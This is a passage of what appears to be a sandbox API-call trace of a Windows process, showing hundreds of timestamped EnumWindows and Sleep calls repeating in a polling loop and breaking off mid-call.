[0177.908] Sleep (dwMilliseconds=0x64) [0177.910] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.910] Sleep (dwMilliseconds=0x64) [0177.912] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.913] Sleep (dwMilliseconds=0x64) [0177.914] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.915] Sleep (dwMilliseconds=0x64) [0177.916] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.916] Sleep (dwMilliseconds=0x64) [0177.917] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.917] Sleep (dwMilliseconds=0x64) [0177.919] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.919] Sleep (dwMilliseconds=0x64) [0177.920] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.920] Sleep (dwMilliseconds=0x64) [0177.922] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.922] Sleep (dwMilliseconds=0x64) [0177.924] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.924] Sleep (dwMilliseconds=0x64) [0177.926] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.926] Sleep (dwMilliseconds=0x64) [0177.928] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.928] Sleep (dwMilliseconds=0x64) [0177.929] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.930] Sleep (dwMilliseconds=0x64) [0177.932] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.932] Sleep (dwMilliseconds=0x64) [0177.934] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.934] Sleep (dwMilliseconds=0x64) [0177.936] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.936] Sleep (dwMilliseconds=0x64) [0177.937] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.937] Sleep (dwMilliseconds=0x64) [0177.939] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.939] Sleep (dwMilliseconds=0x64) [0177.940] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.940] Sleep (dwMilliseconds=0x64) [0177.942] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.942] Sleep (dwMilliseconds=0x64) [0177.944] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.944] Sleep (dwMilliseconds=0x64) [0177.945] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.945] Sleep (dwMilliseconds=0x64) [0177.947] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.947] Sleep (dwMilliseconds=0x64) [0177.949] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.949] Sleep (dwMilliseconds=0x64) [0177.950] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.951] Sleep (dwMilliseconds=0x64) [0177.954] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.954] Sleep (dwMilliseconds=0x64) [0177.955] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.955] Sleep (dwMilliseconds=0x64) [0177.957] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.957] Sleep (dwMilliseconds=0x64) [0177.958] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.958] Sleep (dwMilliseconds=0x64) [0177.961] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.961] Sleep (dwMilliseconds=0x64) [0177.962] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.962] Sleep (dwMilliseconds=0x64) [0177.964] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.964] Sleep (dwMilliseconds=0x64) [0177.966] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.966] Sleep (dwMilliseconds=0x64) [0177.967] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.967] Sleep (dwMilliseconds=0x64) [0177.969] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.969] Sleep (dwMilliseconds=0x64) [0177.970] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.970] Sleep (dwMilliseconds=0x64) [0177.972] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.972] Sleep (dwMilliseconds=0x64) [0177.974] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.974] Sleep (dwMilliseconds=0x64) [0177.975] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.975] Sleep (dwMilliseconds=0x64) [0177.977] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.977] Sleep (dwMilliseconds=0x64) [0177.979] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.979] Sleep (dwMilliseconds=0x64) [0177.980] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.980] Sleep (dwMilliseconds=0x64) [0177.983] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.983] Sleep (dwMilliseconds=0x64) [0177.985] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.985] Sleep (dwMilliseconds=0x64) [0177.986] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.987] Sleep (dwMilliseconds=0x64) [0177.988] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.989] Sleep (dwMilliseconds=0x64) [0177.990] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.990] Sleep (dwMilliseconds=0x64) [0177.991] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.991] Sleep (dwMilliseconds=0x64) [0177.993] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.993] Sleep (dwMilliseconds=0x64) [0177.994] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.994] Sleep (dwMilliseconds=0x64) [0177.996] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.996] Sleep (dwMilliseconds=0x64) [0177.997] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.997] Sleep (dwMilliseconds=0x64) [0177.999] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0177.999] Sleep (dwMilliseconds=0x64) [0178.000] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.000] Sleep (dwMilliseconds=0x64) [0178.002] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.002] Sleep (dwMilliseconds=0x64) [0178.003] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.003] Sleep (dwMilliseconds=0x64) [0178.005] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.005] Sleep (dwMilliseconds=0x64) [0178.006] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.006] Sleep (dwMilliseconds=0x64) [0178.008] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.008] Sleep (dwMilliseconds=0x64) [0178.009] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.009] Sleep (dwMilliseconds=0x64) [0178.011] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.011] Sleep (dwMilliseconds=0x64) [0178.012] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.014] Sleep (dwMilliseconds=0x64) [0178.016] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.016] Sleep (dwMilliseconds=0x64) [0178.040] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.040] Sleep (dwMilliseconds=0x64) [0178.041] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.042] Sleep (dwMilliseconds=0x64) [0178.043] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.044] Sleep (dwMilliseconds=0x64) [0178.046] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.047] Sleep (dwMilliseconds=0x64) [0178.048] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.048] Sleep (dwMilliseconds=0x64) [0178.050] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.050] Sleep (dwMilliseconds=0x64) [0178.051] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.051] Sleep (dwMilliseconds=0x64) [0178.053] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.053] Sleep (dwMilliseconds=0x64) [0178.054] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.054] Sleep (dwMilliseconds=0x64) [0178.056] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.056] Sleep (dwMilliseconds=0x64) [0178.057] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.057] Sleep (dwMilliseconds=0x64) [0178.059] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.059] Sleep (dwMilliseconds=0x64) [0178.060] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.060] Sleep (dwMilliseconds=0x64) [0178.062] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.062] Sleep (dwMilliseconds=0x64) [0178.064] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.064] Sleep (dwMilliseconds=0x64) [0178.066] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.066] Sleep (dwMilliseconds=0x64) [0178.068] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.068] Sleep (dwMilliseconds=0x64) [0178.069] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.070] Sleep (dwMilliseconds=0x64) [0178.071] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.071] Sleep (dwMilliseconds=0x64) [0178.073] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.073] Sleep (dwMilliseconds=0x64) [0178.075] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.075] Sleep (dwMilliseconds=0x64) [0178.076] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.076] Sleep (dwMilliseconds=0x64) [0178.079] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.080] Sleep (dwMilliseconds=0x64) [0178.081] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.081] Sleep (dwMilliseconds=0x64) [0178.083] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.083] Sleep (dwMilliseconds=0x64) [0178.084] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.084] Sleep (dwMilliseconds=0x64) [0178.086] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.086] Sleep (dwMilliseconds=0x64) [0178.087] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.087] Sleep (dwMilliseconds=0x64) [0178.089] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.089] Sleep (dwMilliseconds=0x64) [0178.090] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.090] Sleep (dwMilliseconds=0x64) [0178.092] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.092] Sleep (dwMilliseconds=0x64) [0178.093] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.093] Sleep (dwMilliseconds=0x64) [0178.095] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.095] Sleep (dwMilliseconds=0x64) [0178.236] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.236] Sleep (dwMilliseconds=0x64) [0178.319] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.319] Sleep (dwMilliseconds=0x64) [0178.323] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.323] Sleep (dwMilliseconds=0x64) [0178.325] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.325] Sleep (dwMilliseconds=0x64) [0178.326] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.327] Sleep (dwMilliseconds=0x64) [0178.328] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.328] Sleep (dwMilliseconds=0x64) [0178.330] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.330] Sleep (dwMilliseconds=0x64) [0178.331] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.331] Sleep (dwMilliseconds=0x64) [0178.333] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.333] Sleep (dwMilliseconds=0x64) [0178.335] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.335] Sleep (dwMilliseconds=0x64) [0178.336] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.337] Sleep (dwMilliseconds=0x64) [0178.338] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.338] Sleep (dwMilliseconds=0x64) [0178.339] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.340] Sleep (dwMilliseconds=0x64) [0178.341] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.341] Sleep (dwMilliseconds=0x64) [0178.343] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.343] Sleep (dwMilliseconds=0x64) [0178.379] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.379] Sleep (dwMilliseconds=0x64) [0178.381] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.381] Sleep (dwMilliseconds=0x64) [0178.383] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.383] Sleep (dwMilliseconds=0x64) [0178.385] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.385] Sleep (dwMilliseconds=0x64) [0178.387] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.389] Sleep (dwMilliseconds=0x64) [0178.391] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.391] Sleep (dwMilliseconds=0x64) [0178.393] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.394] Sleep (dwMilliseconds=0x64) [0178.396] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.396] Sleep (dwMilliseconds=0x64) [0178.397] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.397] Sleep (dwMilliseconds=0x64) [0178.400] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.400] Sleep (dwMilliseconds=0x64) [0178.401] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.402] Sleep (dwMilliseconds=0x64) [0178.403] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.403] Sleep (dwMilliseconds=0x64) [0178.405] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.405] Sleep (dwMilliseconds=0x64) [0178.407] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.407] Sleep (dwMilliseconds=0x64) [0178.409] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.409] Sleep (dwMilliseconds=0x64) [0178.410] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.410] Sleep (dwMilliseconds=0x64) [0178.412] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.412] Sleep (dwMilliseconds=0x64) [0178.413] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.413] Sleep (dwMilliseconds=0x64) [0178.415] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.415] Sleep (dwMilliseconds=0x64) [0178.416] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.416] Sleep (dwMilliseconds=0x64) [0178.418] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.418] Sleep (dwMilliseconds=0x64) [0178.419] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.419] Sleep (dwMilliseconds=0x64) [0178.448] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.448] Sleep (dwMilliseconds=0x64) [0178.451] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.451] Sleep (dwMilliseconds=0x64) [0178.452] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.452] Sleep (dwMilliseconds=0x64) [0178.454] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.454] Sleep (dwMilliseconds=0x64) [0178.455] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.456] Sleep (dwMilliseconds=0x64) [0178.457] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.457] Sleep (dwMilliseconds=0x64) [0178.458] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.458] Sleep (dwMilliseconds=0x64) [0178.466] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.466] Sleep (dwMilliseconds=0x64) [0178.467] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.468] Sleep (dwMilliseconds=0x64) [0178.469] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.469] Sleep (dwMilliseconds=0x64) [0178.470] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.471] Sleep (dwMilliseconds=0x64) [0178.472] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.472] Sleep (dwMilliseconds=0x64) [0178.473] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.473] Sleep (dwMilliseconds=0x64) [0178.475] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.475] Sleep (dwMilliseconds=0x64) [0178.476] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.477] Sleep (dwMilliseconds=0x64) [0178.478] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.478] Sleep (dwMilliseconds=0x64) [0178.520] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.520] Sleep (dwMilliseconds=0x64) [0178.522] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.522] Sleep (dwMilliseconds=0x64) [0178.523] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.524] Sleep (dwMilliseconds=0x64) [0178.525] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.525] Sleep (dwMilliseconds=0x64) [0178.526] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.526] Sleep (dwMilliseconds=0x64) [0178.528] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.528] Sleep (dwMilliseconds=0x64) [0178.529] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.529] Sleep (dwMilliseconds=0x64) [0178.531] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.531] Sleep (dwMilliseconds=0x64) [0178.533] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.533] Sleep (dwMilliseconds=0x64) [0178.534] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.534] Sleep (dwMilliseconds=0x64) [0178.536] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.536] Sleep (dwMilliseconds=0x64) [0178.538] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.538] Sleep (dwMilliseconds=0x64) [0178.539] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.540] Sleep (dwMilliseconds=0x64) [0178.542] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.542] Sleep (dwMilliseconds=0x64) [0178.543] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.543] Sleep (dwMilliseconds=0x64) [0178.545] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.545] Sleep (dwMilliseconds=0x64) [0178.546] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.546] Sleep (dwMilliseconds=0x64) [0178.548] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.548] Sleep (dwMilliseconds=0x64) [0178.549] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.550] Sleep (dwMilliseconds=0x64) [0178.551] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.551] Sleep (dwMilliseconds=0x64) [0178.553] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.553] Sleep (dwMilliseconds=0x64) [0178.555] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.555] Sleep (dwMilliseconds=0x64) [0178.557] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.557] Sleep (dwMilliseconds=0x64) [0178.558] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.559] Sleep (dwMilliseconds=0x64) [0178.560] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.560] Sleep (dwMilliseconds=0x64) [0178.561] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.562] Sleep (dwMilliseconds=0x64) [0178.563] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.563] Sleep (dwMilliseconds=0x64) [0178.564] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.564] Sleep (dwMilliseconds=0x64) [0178.566] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.566] Sleep (dwMilliseconds=0x64) [0178.568] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.568] Sleep (dwMilliseconds=0x64) [0178.570] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.570] Sleep (dwMilliseconds=0x64) [0178.572] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.572] Sleep (dwMilliseconds=0x64) [0178.573] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.573] Sleep (dwMilliseconds=0x64) [0178.575] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.575] Sleep (dwMilliseconds=0x64) [0178.651] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.651] Sleep (dwMilliseconds=0x64) [0178.652] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.652] Sleep (dwMilliseconds=0x64) [0178.654] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.654] Sleep (dwMilliseconds=0x64) [0178.655] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.656] Sleep (dwMilliseconds=0x64) [0178.772] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.845] Sleep (dwMilliseconds=0x64) [0178.847] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.848] Sleep (dwMilliseconds=0x64) [0178.851] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.851] Sleep (dwMilliseconds=0x64) [0178.853] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.853] Sleep (dwMilliseconds=0x64) [0178.854] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.855] Sleep (dwMilliseconds=0x64) [0178.856] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.856] Sleep (dwMilliseconds=0x64) [0178.857] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.858] Sleep (dwMilliseconds=0x64) [0178.859] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.859] Sleep (dwMilliseconds=0x64) [0178.861] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.862] Sleep (dwMilliseconds=0x64) [0178.863] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.863] Sleep (dwMilliseconds=0x64) [0178.865] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.865] Sleep (dwMilliseconds=0x64) [0178.867] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.867] Sleep (dwMilliseconds=0x64) [0178.868] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.869] Sleep (dwMilliseconds=0x64) [0178.870] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.870] Sleep (dwMilliseconds=0x64) [0178.872] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.872] Sleep (dwMilliseconds=0x64) [0178.875] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.875] Sleep (dwMilliseconds=0x64) [0178.877] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.877] Sleep (dwMilliseconds=0x64) [0178.879] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.879] Sleep (dwMilliseconds=0x64) [0178.880] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.881] Sleep (dwMilliseconds=0x64) [0178.882] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.882] Sleep (dwMilliseconds=0x64) [0178.883] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.883] Sleep (dwMilliseconds=0x64) [0178.885] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.885] Sleep (dwMilliseconds=0x64) [0178.886] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.887] Sleep (dwMilliseconds=0x64) [0178.895] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.895] Sleep (dwMilliseconds=0x64) [0178.897] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.897] Sleep (dwMilliseconds=0x64) [0178.899] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.899] Sleep (dwMilliseconds=0x64) [0178.902] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.902] Sleep (dwMilliseconds=0x64) [0178.905] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.905] Sleep (dwMilliseconds=0x64) [0178.907] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.908] Sleep (dwMilliseconds=0x64) [0178.909] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.909] Sleep (dwMilliseconds=0x64) [0178.910] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.911] Sleep (dwMilliseconds=0x64) [0178.912] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.912] Sleep (dwMilliseconds=0x64) [0178.913] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.913] Sleep (dwMilliseconds=0x64) [0178.977] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.977] Sleep (dwMilliseconds=0x64) [0178.978] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.979] Sleep (dwMilliseconds=0x64) [0178.980] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.980] Sleep (dwMilliseconds=0x64) [0178.983] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.983] Sleep (dwMilliseconds=0x64) [0178.986] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.986] Sleep (dwMilliseconds=0x64) [0178.987] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.987] Sleep (dwMilliseconds=0x64) [0178.989] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.989] Sleep (dwMilliseconds=0x64) [0178.990] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.990] Sleep (dwMilliseconds=0x64) [0178.993] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.993] Sleep (dwMilliseconds=0x64) [0178.994] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.994] Sleep (dwMilliseconds=0x64) [0178.996] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.996] Sleep (dwMilliseconds=0x64) [0178.998] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0178.998] Sleep (dwMilliseconds=0x64) [0178.999] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.001] Sleep (dwMilliseconds=0x64) [0179.002] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.002] Sleep (dwMilliseconds=0x64) [0179.004] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.004] Sleep (dwMilliseconds=0x64) [0179.006] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.006] Sleep (dwMilliseconds=0x64) [0179.008] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.008] Sleep (dwMilliseconds=0x64) [0179.009] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.010] Sleep (dwMilliseconds=0x64) [0179.011] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.011] Sleep (dwMilliseconds=0x64) [0179.012] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.013] Sleep (dwMilliseconds=0x64) [0179.014] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.014] Sleep (dwMilliseconds=0x64) [0179.016] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0179.016] Sleep (dwMilliseconds=0x64) [0179.018] EnumWindows (lpEnumFunc=0x423dd0, 